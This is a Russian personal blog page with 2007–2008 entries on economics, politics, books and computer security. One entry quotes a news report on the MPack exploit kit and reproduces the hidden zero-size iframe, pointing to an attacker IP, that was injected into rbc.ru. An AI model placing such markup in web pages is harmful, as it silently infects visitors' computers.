iss_shoo's Journal
[Most Recent Entries]
[Calendar View]
[Friends]
Below are the 20 most recent journal entries recorded in
iss_shoo's LiveJournal:
[ << Previous 20 ]
| Wednesday, February 6th, 2008 | | 3:51 pm |
Ссылка на память.
Причем, отношение дефицита текущего счета к ВВП год от года стремительно росло и ситуацию эту ни в малейшей степени не выправляли даже постоянные европейские субсидии и переводы ирландских “заробитчан”. Если в 2001 дефицит текущего счета составил 394,2 млн. лат или 7.6% ВВП, то в 2006 он вырос до 2376,0 млн. лат или 21.1% ВВП. Да, да, я не обсчитался и вы не ослышались. 21.1% ВВП в 2006, а в 2007, по предварительной оценке, будет все 23.5%. Для сравнения, дефицит текущего счета США, которых весь мир клянет за неумеренную прожорливость, транжирство и жизнь не средствам, составляет менее 5.7% ВВП. Кто ж тут не по средствам живет? А главное где берет??? Кассу Форт Нокса что ли ломанули?
...
В связи с этим, больше всего мне нравится даже не оптимизм Банка Латвии, государственных чиновников и экспертов в отношении стабильности лата, сколько обоснование, которое они используют в подкрепление своих слов. Вся эта публика дружно заверяет, что девальвации лата не будет потому что – сейчас будете смеяться – для этого нужно принятие особого закона Сеймом или как он там называется.
Хорошо написано, с огоньком. | | Tuesday, December 11th, 2007 | | 4:10 pm |
Новая хронология как бизнес.
Эпиграф: " Новая хронология Египта" Носовский Г.В. Переплет: твердая обложка Количество страниц: 558 Год издания: 2007 Издательство: АСТ ISBN: 978-5-17-040361-5 Формат: 170х260 мм Вес: 940 гр. Цена: 547.00 руб. Книга содержит исчерпывающее описание астрономического языка египетских и других старинных зодиаков и их датировок. Полученные в книге датировки зодиаков имеют важное значение не только для хронологии Египта, но и для реконструкции всеобщей истории в целом. В заключительных главах история Древнего Египта рассматривается с точки зрения новой хронологии. В частности, обсуждается способ строительства пирамид и других грандиозных сооружений Древнего Египта, вопрос о подлинности гробницы Тутанхамона и пр. Новая хронология как бизнес на конспирологии.Сразу скажу. что я по доброму отношусь к всевозможным "новым хронологиям". Поскольку на мою жизнь варианты датировки фараона Ниусерра V династии влияния, мягко говоря, не оказывают, отношусь я к этому достаточно спокойно, как к художественным книгам. ( врезка )Но весь фокус в том, что превратилось все это в бизнес по производству книг на продажу. Уважаемый Щеглов пишет 1 роман 3 года. Не менее уважаемый математик Фоменко в 2004 - 2005 годах издал 19 книг. Самая тонкая - 400 страниц. И в каждой он утверждает, что тайны истории скрыты преднамеренно группой лиц, которые и сегодня давят искателей правды. Вдумайтесь, в какой брэнд превращается сейчас "новая хронология", какие дивиденды она приносит своим "создателям", и какой отпор эта "группа соратников" даст любому, кто будет всерьез с ними конфликтовать. | | Monday, December 10th, 2007 | | 3:37 pm |
Комментарии к мнению
Читать до конца. http://www.inosmi.ru/stories/07/03/16/3506/238252.htmlОсобенно понравилось: Оправдание подобного авторитаризма является пощечиной борцам за права человека и демократию по всему миру.
В отличие от вышеизложенного, здесь, на Украине, мы являемся свидетелями возникновения крупнейшей демократии в Восточной Европе, в которой за последние три года три раза проходили свободные и справедливые выборы, а в ставших свободными средствах массовой информации ведутся оживленные политические дебаты. И это, как говорит автор, беспорядок. Поразительно.
Если бы Норманн Стоун жил в 1930-е годы, то, я уверен, он мог бы написать такую же статью о Гитлере. В конце концов, люди там тоже могли говорить... Не обращайте внимания на все эти антидемократические махинации - это всего лишь детали.
И особенно здесь: "Вбрасывание бюллетеней, запугивание на рабочих местах [...] Несомненно, в этом есть какая-то часть правды". Какая-то часть правды... Г-н Стоун, проснитесь. Не стоит говорить нам, что русским или китайцам не нужна демократия и что они счастливы иметь сурового парня в качестве руководителя. То, что они не знакомы ни с чем другим, не означает, что сложившаяся ситуация достойна похвалы и что так и должно быть. У конце концов, они заслуживают нормальной жизни. Michal Lason, Мумбаи, Индия | | 3:16 pm |
| | Monday, December 3rd, 2007 | | 1:43 pm |
| | Thursday, November 29th, 2007 | | 3:25 pm |
Ссылка для памяти - разница между США и Россией в налогах.
Случайно нашел, заинтересовался http://www.krugosvet.ru/articles/111/1011141/1011141a3.htmВкрадце: Россия: Доход: 2 071,385 млрд. руб. В том числе ЕСН: 438,210 млрд. руб. - 21% США:
| Таблица 6. ДОХОДЫ ФЕДЕРАЛЬНОГО БЮДЖЕТА США В 1980-2003, МЛРД. ДОЛЛ.1 | | Доходы | 1980 | 1990 | 2003 | | Всего доходов | 517,1 | 1032,0 | 1836,2 | | Подоходные налоги с физических лиц | 244,1 | 466,9 | 849,1 | | Налоги на доход корпораций | 64,6 | 93,5 | 143,2 | | Социальное страхование | 157,8 | 380,0 | 726,6 | | Акцизы | 24,3 | 35,3 | 68,4 |
Тогда налог с физических лиц в США будет в среднем 47%, а вот налоги с корпораций убывают - 11% - 9% - 7%. Что это? Показатель ухода от налогов на зарплату у нас, или показатель влияния корпораций у них? | | Tuesday, November 27th, 2007 | | 4:49 pm |
Предсказание
В ходе беседы с уважаемым Эрихом здесь у меня появилось предсказание. Скоро в Москве на большой должности появится человек из окружения полномочного представителя президента РФ в ДФО Пуликовского или полномочного представителя президента РФ в СФО Квашнина. Почему - объясню потом, рабочий день закончился | | Saturday, November 24th, 2007 | | 3:27 pm |
| | 12:54 pm |
| | 11:20 am |
8 пустых лет. Или возвращение "физиков и лириков" часть первая.
Уважаемый Эрих Лобах написал о своем отношении к Путину: Баловень Судьбы, сейчас он смотрит Ей, Судьбе - в лицо. Восемь лет беспрерывного и беспрецидентного в истории России везения у ее руководителя. Восемь лет (громадный исторический срок!) ничегонеделанья и пустого прожирания своей маленькой (и большой - одновременно) удачи.У него же: Не это все самое главное. Главное - от чего всегда было тяжело на душе - это АБСОЛЮТНО ВПУСТУЮ ПРОЖИТЫЕ РОССИЕЙ ВОСЕМЬ ЛЕТ, наиважнейших лет, из которых нельзя было терять ни одного дня, от упущенных возможностей.
В 80-х - 90-х Россия пережила революцию. О причинах этого (включая объективные), о виновниках и дураках, о предателях - нет нужды говорить - как это ни оценивай - факты более, чем очевидные. Но если рассмотреть в истории известные всем революции - в абсолютном большинстве случаев мы видим следующее. Революция - это атомный взрыв. При всей своей разрушительности - она дает огромное высвобождение общественной энергии. Если эту энергию направить в нужное русло, то можно, как Сталин - "получить Россию с сохой, а оставить с атомной бомбой". Поскольку есть элемент несогласия с моим сверстником, отвечаю развернуто, благо повод есть. В чем разница между мной и Эриком? Он гуманитарий, я технарь. Он учился в Англии, Германии и России. Я - только в России. Он живет в Москве, я в Поволжье. Из схожего - знание немецкого языка. Только у него - академическое, а у меня - по техдукументации фирмы Siemens. А теперь по пунктам. ( врезка ) | | Monday, November 19th, 2007 | | 8:29 am |
| | Monday, November 12th, 2007 | | 11:31 am |
Старые и новые деньги.
Как знают читатели моего блога, я давно и с увлечением слежу за конспирологическими изысканиями Сергея Голубицкого, посвященные "старым деньгам". Сегодня по наводке eksayl прочитал обзор: Хуже всех в этом плане показал себя на прошлой неделе банк Citigroup: казалось бы, он только что отчитался за третий квартал, оповестив о списании почти 6 млрд. долларов убытка – и тут Wall Street Journal выяснил, что новые списания не за горами, а их сумма колеблется от 8 до 11 млрд.; более того, по другим источникам, убытки уже могли достичь 13-14 млрд. долларов. По данным британской Daily Telegraph, ситуация столь серьёзна, что возможно единственным выходом будет разделение гигантского банка на отдельные компании, которые должны специализироваться на каком-то одном направлении деятельности – брокерских услугах, розничном банкинге и инвестбанкинге; причём часть из новых фирм может быть скуплена другими акулами этого рынка – J.P. Morgan, HSBC и Morgan Stanley – уже стоящими в позиции низкого старта. Глава Citigroup Чак Принс был скоропостижно уволен (как говорят, на этом особенно активно настаивал крупнейший акционер банка саудовский принц аль-Валид бен Талал), а на его место приглашены сэр Уин Бишофф в качестве исполнительного директора и великий и ужасный Роберт Рубин как президент.Как я полагаю, в ближайшем будущем мы будем наблюдать увлекательный процесс "разрыва кабанчика" старыми европейскими пиратами. В роли кабанчика выступает саудовский принц аль-Валид бен Талал, вложивший деньги в надежнейший американский банк - Citigroup. 13-14 млрд. списанных убытков - это деньги принца, ушедшие в американскую ипотеку. То есть 13 млрд. ВВП США были спонсированы, а теперь решается вопрос о снятии этого долга. Citigroup разделят на несколько частей, продадут соседям, а долги повесят на небольшую контору, оставив ее под своим контролем (вдруг удасться вернуть при изменении коньюктуры). А принц станет беднее на эти самые 13-14 млрд. Что можно расценить как бесплатную поставку 200 миллионов баррелей нефти во благо экономики США. Старые тертые акулы "бизнеса" вновь обувают буратино на поле чудес. | | Tuesday, October 30th, 2007 | | 3:04 pm |
Служебное
В припадке внеслужебной хандры переключился в онлайн и внес всех своих читателей во френд-ленту. ПАоскольку не факт, что их тексты удержаться в ней надолго, следующим этапом предполагается чистка. Заранее прошу извинения, если это кого то покоробит или вообще как то заденет. | | 10:56 am |
Как же тихо и спокойно
Уже неделю не смотрю новости. Как же тихо и спокойно. Онлайн-игры, книги и журналы, фильмы качаю. В последнем номере "Популярной механики" турбовинтовой движок для авиамоделей. Обалденно красивый образец творческих способностей человека. Потом посмотрел на обзор выставки "современного искусства" и понял, что руки могут расти не только из плеч, но огорчаться не стал. А из программ выбрал для просмотра "Папиных дочек", "Кадетство" и Букиных. Понравилась задачка про стакан. Кто не в курсе - спрашивайте - я перескажу своими словами. Для себя выяснил, что читать книги о политике с точки зрения прошедших времен гораздо приятней, чем узнавать новости сегодняшнего дня. В связи с этим любителей Русско-Английского детектива приглашаю к Голубицкому: Американская мулетаКраткая выжимка большой персидской партии в интерпретации старого голубятника. Текст портит подхваченное как ОРВИ у уважаемого ![[info]](http://l-stat.livejournal.com/img/userinfo.gif) schegloff'а окончание " продолжение следует". Пионерская обида на фразу "главы с 10 по 18 прочитаешь после выхода бумажной книги..." не пройдет, наверное, до появления следующей книги. Это как страшилку на ночь прервать командой "по койкам, завтра рано подъем". Появились рецензии на фильм "1612", даже и не знаю, стоит ли смотреть: При этом, хотя сам автор сказал, что его творение рассчитано чуть ли не на подростков, фильм изобилует сценами чудовищного насилия, смакуемыми с садистическим сладострастием, оставляющими какого-нибудь Тарантино далеко позади прогресса. Мода, что ли, оявилась сейчас - смаковать. Недавно сравнивал "Батальоны просят огня" и "Штрафбат". В первом случае есть ощущение непоправимости, а самый накал передается в момент, когда генерал отдает приказ бросить подразделение. Никакой крови, даже текста почти нет, а становится страшно и обидно. В новой картине слишком много запрограммированных сцен, а накал создается не столько игрой актеров (хотя удачных моментов много), сколько видеорядом, картинкой с заданными свойствами. Ну а сцена с особистом, склоняющим бойца к сотрудничеству, вызывает лишь тоску. К чему она? Показать, какие плохие были НКВДшники? Работа у человека такая. Да и боец, строго говоря, пособник, а то и соучастник. А показывают так, что он мимо прошел, а его же и к ногтю бяки красные. Странная точка зрения у современных режисеров. Вроде и фильмы патриотичные, а осадок остается. Мутный... | | Thursday, October 25th, 2007 | | 8:11 am |
| | Friday, October 19th, 2007 | | 9:13 am |
"Монархия не форма правления"
В продолжение размышлений в посте http://iss-shoo.livejournal.com/22615.html. Читаю Романа Злотникова, серия "Вечный", книга 3: "Его величество улыбнулся:
— Верно, странно... Если считать монархию всего лишь одной из форм правления.
...
— Ну что ж, попробуем. — Император сделал паузу. — Скажите, что, по-вашему, является силой, обеспечивающей устойчивость любому государству?
Ив удивленно посмотрел на собеседника:
— А вы считаете, что эта сила единична? Император бросил на Ива нарочито безмятежный взгляд:
— В общем-то да.
— Удивительно. Мне казалось, что существует целый комплекс факторов — экономические, социальные, политические, демографические...
— Это не так. Эти факторы, безусловно, очень важны, от них зависит сила государства, его богатство, влияние, уровень жизни и многое иное, но они теряют всякое значение, если государство утратит то, что я подразумеваю.
Император сделал паузу, ожидая вопроса, и Ив решил его не разочаровывать:
— И что же это?
— Единство нации.
В кабинете на некоторое время повисла тягучая тишина. Его величество смаковал вино, Ив задумчиво играл бокалом, размышляя об услышанном. Наконец он повернулся к императору:
— Я бы хотел уточнить, что вы подразумеваете под этим термином?
— Я думаю то же, что и вы. — Император одарил Ива выразительным взглядом и продолжил: — И так как этот фактор чисто духовный, моральный, то есть как бы эфемерный, то для его обеспечения требуются столь же эфемерные составляющие, вернее, кажущиеся эфемерными... — И тут он внезапно резко изменил тему: — Вы не обращали внимания на то, что демократия, так сказать, в чистом виде наиболее успешна именно в мононациональных государствах или государствах, не имеющих серьезных исторических корней, то есть образованных эмигрантами на пустом месте, таких, как Содружество Американской Конституции или его родоначальник — США. Недаром, вас столь подчеркнуто престижно понятие гражданства, а вопрос о национальности считается прямо-таки неприличным. А государства, образованные множеством исторически сложившихся наций, устойчивы только в виде монархий, иначе они просто разваливаются на мононациональные куски, иногда более-менее мирно, но чаще всего довольно кроваво?
— Ну, я не был бы столь категоричен... Однако кое-какие параллели действительно просматриваются. И чем, по-вашему, это вызвано?
Император усмехнулся:
— Все просто. В каждой семье должен быть глава. Его можно любить или ненавидеть, но как только глава исчезает, начинаются свары. Сначала словесные — кто кому сколько должен и кто от кого больше натерпелся, затем дело доходит до битья посуды, а заканчивается все крысиным ядом в чай или чугунной сковородой по затылку. Массы людей, составляющих нацию, обладают гораздо большей инерцией, чем те, из которых складывается семья, поэтому все разгорается гораздо медленнее, но заканчивается революцией и гражданской либо межэтнической войной. Кстати, это прекрасно понимали даже отцы «чистых» демократий. Именно потому наиболее устойчивы демократии, обладающие таким суррогатом монарха, как президент. Вспомните, страны с так называемой парламентарной демократией являются лидерами по частоте сменяемости правительств.
Ив задумчиво приподнял бокал:
— Я никогда не рассматривал эту проблему с такой точки зрения."Таким образом, продолжая разговор о монархии как формы правления ( http://schegloff.livejournal.com/158009.html), стоит обдумать институт несменяемого правителя как гаранта стабильности. | | Monday, September 24th, 2007 | | 9:21 am |
Зубастые друзья Большого Брата
Восьмой рабочий день подряд. Если кончится трафик, будет совсем хорошо. Есть мнение, что Linux защищен лучше Windows. Чтобы это было так, проверьте следующие компоненты: ( Врезка
<b>Переполнение буфера.</b>
Для тех, кто не знает, коротко объясняю:
<i>Для получения данных программа выделяет кусочек памяти, например 1кб. Приходящий пакет записывается в этот буфер, анализируется и переправляется уже на обработку. Если в буфере бяка - программа его давит без последствий. Но после буфера тоже есть данные и тексты программы, которые исполняются. И если послать пакет не 1кб, а 2кб, а программер длину пакета не проверяет, то в буфер запишется 2кб подряд, из них 1кб - в зону самой программы, и будет там опаньки.</i>
Драйверы видеокарт NVIDIA для Linux.
<i>NVIDIA официально подтверждает уязвимость двух следующих версий Linuxдрайверов: 1.0-8762 и 1.0-8774
История эта началась в далеком 2004 году (по понятиям компьютерной безопасности, это практически целая вечность), перед самым Новым годом, когда на форумах возник всплеск сообщений о странном поведении Linux-систем и внезапном крахе самых разнообразных иксовых приложений: FireFox, KDE и т.д.</i>
MPlayer.
<i>Уязвимость подтверждена в версиях MPlayer 1.0rc1 и SVN до r21799 (то есть до 31 декабря 13:27:53 2006 UTC). Более древние версии, повидимому, также содержат эту дыру, однако они не проверялись.</i> ) | | Sunday, September 23rd, 2007 | | 11:03 am |
Русские друзья Большого Брата
Как известно, в настоящее время уважаемый Щеглов опубликовал серию постов, посвященных сетевой безопасности. Подробности - в его ленте schegloff. Поэтому информация в его копилку. В №702 "Компьютерры" появилась статья "Торговцы оружием". Через неделю-две статья появится и на сайте, ссылку отредактирую. Если коротко, то: Обнаружена новая версия 0.90 вредоносной утилиты Mpack, которая продается в интернете за 1000 долларов США. Это приложение можно назвать “набором для инсталляции вредоносного ПО с помощью эксплойтов”, поскольку оно способно загружать на ПК эксплойты для многочисленных брешей безопасности в браузерах Internet Explorer, Opera и Firefox.
Кибер-преступники даже предлагают бесплатную годовую поддержку тем, кто приобретает данную версию. Хакеры, желающие обновить Mpack новыми эксплойтами, могут приобрести их по стоимости от $50 до $150 за каждый. Ежемесячные обновления включают новые, еще не закрытые заплатками, уязвимости. Если кто то думает, что это не про него, прочитайте здесь: "Сегодня утром многие пользователи, зашедшие на сайт rbc.ru увидели предупреждение антивируса о попытке заражения троянской программой.
При детальном анализе оказалось, что на главной странице сайта содержался код
<iframe src="http://81.95.150.42/MPack091cbt/index.php" width=0 height=0></iframe> ,
загружающий на компьютер пользователя программу Mpack, которая используется для загрузки вредоносного ПО на удаленные компьютеры за счет эксплуатации многочисленных уязвимостей.
За небольшой промежуток времени, пока висел троян, риску заражения подверглись несколько десятков тысяч пользователей сайта."Таким образом, цитируя одного из авторов КТ, Сергея Голубицкого "И за тобой тоже придут..."С этой точки зрения, видимо стоит включить в антивирусные базы сигнатуру iframe с размерами 0 на 0. Кроме гадости и счетчиков, в такое окно ничего на поместят. А зачем мне счетчик? | | Thursday, July 12th, 2007 | | 12:11 pm |
В продолжение темы Книга 21
Размышляя над этой идеей, я пришел к следующим выводам. 1. Речь должна идти о логической связке "информация - инструмент". 2. Необходимо определить перечень требований к инструменту, исходя из чего и думать о структуре информации. 3. Реализация такого проекта может быть интересна для всех собравшихся. Теперь перечень вопросов, стоящих перед нами. 1. Чем плоха электронная книга? 1.1. Это применение новой технологии для старой идеи. Чем отличается свиток от книги? Удобно писать, удобно хранить, неудобно читать и искать информацию. Мы отказались от свитков и перешли к переплетам. e-book технически - свиток с непрерывным текстом. Это реализация простейшего варианта хранения текстовой информации, реализованный 40 лет назад. 1.2. Это документ, на полях которого нельзя делать пометки. 1.3. Не позволяет совместно работать. 2. Чем плохи он-лайн сервисы? Могут ли современные сервисы служить заменой книгам, в том числе электронным? 2.1. Жесткая привязка к каналу связи. Информация хранится отдельно от человека и недоступна постоянно. 2.2. Уязвимость к внешнему управлению. Личная информация в доверительном управлении у владельца сервиса. 2.3. Архитектура сервисов (блог, форум, кроме википедии) резко отличается от архитектуры книги как постоянного хранилища данных. 2.4. Википедия предназначена не для хранения информации, а для ее создания, и не может быть заменой книге, как объекта имеющего автора и имеющего неизменную структуру. Когда автор изменит свою точку зрения, он пишет новую книгу, а читатель получает возможность сравнить, как и почему произошли изменения. Википедия построена так, что последний релиз - правилен, а предыдущие содержат ошибки и не важны для понимания основного текста. Таким образом, можно сформулировать требования к КТТ (книге третьего тысячелетия). Сейчас буду прикидывать т.з. | | Tuesday, July 10th, 2007 | | 11:37 am |
Размышления о ТССУ
Прочитал двухтомник Романа Злотникова "Империя". Цитирую часть предисловия: И вот однажды мне попал в руки статистический сборник. Перелистывая его, я обратил внимание на то, что из десяти стран с наивысшим уровнем жизни граждан – семь являются монархиями. Это меня заинтересовало, и я попробовал провести что-то вроде сравнительного анализа по нескольким параметрам, ориентируясь именно на этот необычный признак. Оказалось, что монархии, как ни странно, оставили далеко позади страны с иной формой правления практически по любому показателю. Продолжительность жизни… уровень технологического развития… количество компьютеров на душу населения… уровень образования… темпы роста промышленного производства… Я обнаружил, что монархии опережают своих соседей в любой своей ипостаси и в любом регионе (исключения, конечно, присутствуют, но именно единичные, то есть из числа тех, что как раз и подтверждают правило). В Европе большинство монархий принадлежит к конституционному типу, то есть их скорее можно было бы назвать монархическим вариантом демократического государства, но при всем при этом, за что бы эти монархии ни брались, у них это выходило лучше, чем у соседей. Шведы, например, не отказываясь от короля, сумели даже построить нечто, что было названо потом «шведским социализмом». В арабском мире, где демократия не в чести и монархии присутствуют в своем изначальном абсолютистском виде, Кувейт, ОАЭ и Саудовская Аравия оставили далеко позади своих соседей – Иран и Ирак, обладающих не меньшими нефтяными богатствами.Фактически автор показал развитие и становление СУ-4 в придуманной ситуации существования "бессмертного человека". Вспоминая аналогии, я поразился похожести ситуации у других авторов: 1. Максим Калашников и его Орден под руководством вождя. 2. Сергей Щеглов и его счастливая страна Эбо под руководством Принца Акино. Возникает предположение, что для создания СУ+ (предлагаю применять такое обозначение для СУ более высокой, чем СУ общества) методом сверху необходим лидер, умеющий работать методами теневых структур и мыслящий в терминах СУ+. Причем, если лидер придет к власти методами СУо (общества) либо СУ-(менее высокой, чем общество в целом), то перестроиться на СУ+ ему не даст его команда. В качестве примера можно привести Бушков "Осень Императора". Когда Сталин озвучил что вместо партии (СУ2) руководить будет совмин (СУ3), партия приняла свои меры, раздавив конкурентов. А выращенная СУ3 не смогла ничего противопоставить закаленной во внутренней борьбе СУ2. Таким образом СУ+ может победить в двух случаях. 1. Когда она развивается в тени и получает опыт управления СУо. 2. Когда СУ+ формируется вождем методами только СУ+, а участники СУ+ строжайше отбираются (Терранский университет), воспитываются (Эбо) и непрерывно контролируются (Орден). Однако на начальном этапе (до подчинения СУо) работа вождя проводится тайно (сравните методы создания Эбо и Блистающего Града!), то есть 2 - частный случай 1! В качестве исторического примера можно напомнить о победе капитализма над феодализмом в Европе, где рыночные механизмы (СУ3) работали де-факто в тени де-юре озвученных феодальных законов (СУ-2). И только после укрепления СУ3 изнутри началась открытая борьба за власть. Обсудим? |
[ << Previous 20 ]
|
